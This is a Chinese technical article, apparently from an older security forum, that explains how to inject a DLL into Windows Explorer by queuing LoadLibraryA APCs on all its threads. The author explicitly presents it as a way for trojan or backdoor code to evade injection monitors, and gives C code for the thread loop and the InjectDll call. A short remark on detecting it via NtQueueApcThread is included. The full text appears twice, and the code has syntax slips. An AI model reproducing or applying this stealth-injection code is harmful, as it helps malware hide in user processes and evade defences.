暴力”注入Explorer
暴力”注入Explorer
pjf(jfpan20000@sina.com)
向一个运行中的进程注入自己的代码，最自然莫过于使用CreateRemoteThread，
如今远线程注入已经是泛滥成灾，同样的监测远线程注入、防止远线程注入的工具也
举不胜举，一个木马或后门启动时向Explorer或IE的注入操作就像在自己脸上写上
“我是贼”一样。
用户态代码想要更隐蔽地藏身于别的进程，就应该在注入的环节隐蔽自己的行
为。下面就介绍一种非常简单不过比较暴力的方法，给出的示例为在Explorer里加
载自己的dll。
首先提到的就是一个API：QueueUserAPC
DWORD QueueUserAPC(
PAPCFUNC pfnAPC, // APC function
HANDLE hThread, // handle to thread
ULONG_PTR dwData // APC function parameter
;
大家对这个API应该并不陌生，它直接转入了系统服务NtQueueApcThread从而利
用KeInsertQueueApc向给出的目标线程的APC队列插入一APC对象。倘若KiDeliverApc
顺利的去构造apc环境并执行我们的代码那一切就OK了，只可惜没有那么顺利的事，
ApcState中UserApcPending是否为TRUE有重要的影响，结果往往是你等到花儿都谢了
你的代码还是没得到执行。在核心态往往不成问题，自己动手赋值，可是用户态
程序可不好做，怎么办？其实最简单的，不好做就不做啰，让系统去干。
实际上应用程序在请求“alertable”的等待时系统就会置UserApcPending为
TRUE（当KeDelayExecutionThread/KeWaitForMultipleObjects/KeWaitForSingleObject
使用TestForAlertPending时就有可能，此外还有KeTestAlertThread等，机会还是有的
），最简单的例子，目标线程调用SleepEx(***, TRUE)后我们插入APC代码就会乖乖执
行了。
比较幸运的是Explorer进程中一般情况下总有合我们意的线程，于是最简单但并不
优美的办法就是枚举Explorer中所有线程，全数插入，示意如下：
......
DWORD ret;
char *DllName = "c://MyDll.dll";
int len = strlen(DllName) + 1;
PVOID param = VirtualAllocEx(hProcess, NULL, len,
MEM_COMMIT | MEM_TOP_DOWN,
PAGE_READWRITE);
if (param != NULL)
{
if (WriteProcessMemory(hProcess, param,
(LPVOID)DllName, len, &ret))
{
for (DWORD p = 0; p < NumberOfThreads; p ++)
{
hThread = OpenThread(THREAD_ALL_ACCESS, 0, ThreadId[p]);
if (hThread != 0)
{
InjectDll(hProcess, hThread, (DWORD)param);
CloseHandle(hThread);
}
}
}
......
其中InjectDll：
void InjectDll(HANDLE hProcess, HANDLE hThread, DWORD param)
{
QueueUserAPC(
(PAPCFUNC)GetProcAddress(GetModuleHandle("kernel32.dll", "LoadLibraryA",
hThread,
(DWORD)param
;
}
LoadLibraryA被调用后即将你的DLL加载入目标进程Explorer，运行是在目标进程的某
个线程环境中，一般你的DLL可以这时创建自己的线程。
这样，整个过程虽然有些暴力（原因很明显，比如原本UserApcPending为TRUE的线程
被弄成了FALSE等等），并且仅是一次性插入，缺陷是明显的，不过插入过程的确更为隐蔽。
针对使用这种的“无耻”方法的程序，检/监测程序就需要增加一些判断，比如对
NtQueueApcThread的合理监测等等。
有时候，那些最古老的木马伪装的好反而不容易被杀
pjf(jfpan20000@sina.com)
向一个运行中的进程注入自己的代码，最自然莫过于使用CreateRemoteThread，
如今远线程注入已经是泛滥成灾，同样的监测远线程注入、防止远线程注入的工具也
举不胜举，一个木马或后门启动时向Explorer或IE的注入操作就像在自己脸上写上
“我是贼”一样。
用户态代码想要更隐蔽地藏身于别的进程，就应该在注入的环节隐蔽自己的行
为。下面就介绍一种非常简单不过比较暴力的方法，给出的示例为在Explorer里加
载自己的dll。
首先提到的就是一个API：QueueUserAPC
DWORD QueueUserAPC(
PAPCFUNC pfnAPC, // APC function
HANDLE hThread, // handle to thread
ULONG_PTR dwData // APC function parameter
;
大家对这个API应该并不陌生，它直接转入了系统服务NtQueueApcThread从而利
用KeInsertQueueApc向给出的目标线程的APC队列插入一APC对象。倘若KiDeliverApc
顺利的去构造apc环境并执行我们的代码那一切就OK了，只可惜没有那么顺利的事，
ApcState中UserApcPending是否为TRUE有重要的影响，结果往往是你等到花儿都谢了
你的代码还是没得到执行。在核心态往往不成问题，自己动手赋值，可是用户态
程序可不好做，怎么办？其实最简单的，不好做就不做啰，让系统去干。
实际上应用程序在请求“alertable”的等待时系统就会置UserApcPending为
TRUE（当KeDelayExecutionThread/KeWaitForMultipleObjects/KeWaitForSingleObject
使用TestForAlertPending时就有可能，此外还有KeTestAlertThread等，机会还是有的
），最简单的例子，目标线程调用SleepEx(***, TRUE)后我们插入APC代码就会乖乖执
行了。
比较幸运的是Explorer进程中一般情况下总有合我们意的线程，于是最简单但并不
优美的办法就是枚举Explorer中所有线程，全数插入，示意如下：
......
DWORD ret;
char *DllName = "c://MyDll.dll";
int len = strlen(DllName) + 1;
PVOID param = VirtualAllocEx(hProcess, NULL, len,
MEM_COMMIT | MEM_TOP_DOWN,
PAGE_READWRITE);
if (param != NULL)
{
if (WriteProcessMemory(hProcess, param,
(LPVOID)DllName, len, &ret))
{
for (DWORD p = 0; p < NumberOfThreads; p ++)
{
hThread = OpenThread(THREAD_ALL_ACCESS, 0, ThreadId[p]);
if (hThread != 0)
{
InjectDll(hProcess, hThread, (DWORD)param);
CloseHandle(hThread);
}
}
}
......
其中InjectDll：
void InjectDll(HANDLE hProcess, HANDLE hThread, DWORD param)
{
QueueUserAPC(
(PAPCFUNC)GetProcAddress(GetModuleHandle("kernel32.dll", "LoadLibraryA",
hThread,
(DWORD)param
;
}
LoadLibraryA被调用后即将你的DLL加载入目标进程Explorer，运行是在目标进程的某
个线程环境中，一般你的DLL可以这时创建自己的线程。
这样，整个过程虽然有些暴力（原因很明显，比如原本UserApcPending为TRUE的线程
被弄成了FALSE等等），并且仅是一次性插入，缺陷是明显的，不过插入过程的确更为隐蔽。
针对使用这种的“无耻”方法的程序，检/监测程序就需要增加一些判断，比如对
NtQueueApcThread的合理监测等等。
有时候，那些最古老的木马伪装的好反而不容易被杀
